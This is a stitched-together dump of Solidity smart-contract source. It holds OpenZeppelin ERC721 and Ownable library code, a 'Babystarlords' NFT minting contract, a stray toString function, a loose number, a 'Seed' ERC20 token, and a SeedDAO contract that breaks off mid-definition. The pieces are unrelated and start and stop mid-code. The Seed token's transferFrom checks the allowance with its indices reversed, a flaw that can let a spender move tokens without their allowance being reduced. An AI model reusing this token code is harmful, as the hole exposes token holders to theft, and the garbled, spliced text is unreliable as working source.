to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}( data ); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require( owner != address(0), "ERC721: owner query for nonexistent token" ); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require( index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds" ); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract Babystarlords is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.01 ether; uint256 public maxSupply = 7777; uint256 public maxMintAmount = 10; uint256 public nftPerAddressLimit = 3; bool public paused = true; bool public revealed = false; bool public onlyWhitelisted = false; address[] public whitelistedAddresses; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded" ); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if (onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require( ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded" ); } require( msg.value >= getCurrentCost(_mintAmount) * _mintAmount, "insufficient funds" ); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function getCurrentCost(uint256 _mintAmount) public view returns (uint256 _cost) { uint256 supply = totalSupply(); if (supply + _mintAmount <= 1000) { return 0; } else if (supply + _mintAmount <= 2000) { return cost; } else if (supply + _mintAmount <= 3000) { return cost * 2; } else if (supply + _mintAmount <= 4000) { return cost * 3; } else if (supply + _mintAmount <= 5000) { return cost * 4; } else if (supply + _mintAmount <= 6000) { return cost * 5; } else if (supply + _mintAmount <= maxSupply) { return cost * 6; } } function isWhitelisted(address _user) public view returns (bool) { for (uint256 i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() external onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } }
Converts a `uint256` to its ASCII `string` decimal representation./ Inspired by OraclizeAPI's implementation - MIT licence https:github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); }
2,403,063
pragma solidity 0.7.0; interface IOwnershipTransferrable { function transferOwnership(address owner) external; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } abstract contract Ownable is IOwnershipTransferrable { address private _owner; constructor(address owner) { _owner = owner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) override external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Seed is Ownable { using SafeMath for uint256; uint256 constant UINT256_MAX = ~uint256(0); string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() Ownable(msg.sender) { _totalSupply = 1000000 * 1e18; _name = "Seed"; _symbol = "SEED"; _decimals = 18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); if (_allowances[msg.sender][sender] != UINT256_MAX) { _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function mint(address account, uint256 amount) external onlyOwner { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function burn(uint256 amount) external returns (bool) { _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); return true; } } abstract contract ReentrancyGuard { bool private _entered; modifier noReentrancy() { require(!_entered); _entered = true; _; _entered = false; } } interface ISeedStake is IOwnershipTransferrable { event StakeIncreased(address indexed staker, uint256 amount); event StakeDecreased(address indexed staker, uint256 amount); event Rewards(address indexed staker, uint256 mintage, uint256 developerFund); event MelodyAdded(address indexed melody); event MelodyRemoved(address indexed melody); function seed() external returns (address); function totalStaked() external returns (uint256); function staked(address staker) external returns (uint256); function lastClaim(address staker) external returns (uint256); function addMelody(address melody) external; function removeMelody(address melody) external; function upgrade(address owned, address upgraded) external; } contract SeedDAO is ReentrancyGuard { using SafeMath for uint256; // Proposal fee of 10 SEED. Used to prevent spam uint256 constant PROPOSAL_FEE = 10 * 1e18; event NewProposal(uint64 indexed proposal); event FundProposed(uint64 indexed proposal, address indexed destination, uint256 amount); event MelodyAdditionProposed(uint64 indexed proposal, address melody); event MelodyRemovalProposed(uint64 indexed proposal, address melody); event StakeUpgradeProposed(uint64 indexed proposal, address newStake); event DAOUpgradeProposed(uint64 indexed proposal, address newDAO); event ProposalVoteAdded(uint64 indexed proposal, address indexed staker); event ProposalVoteRemoved(uint64 indexed proposal, address indexed staker); event ProposalPassed(uint64 indexed proposal); event ProposalRemoved(uint64 indexed proposal); enum ProposalType { Null, Fund, MelodyAddition, MelodyRemoval, StakeUpgrade, DAOUpgrade } struct ProposalMetadata { ProposalType pType; // Allows the creator to withdraw the proposal address creator; // Used to mark proposals older than 30 days as invalid uint256 submitted; // Stakers who voted yes mapping(address => bool) stakers; // Whether or not the proposal is completed // Stops it from being acted on multiple times bool 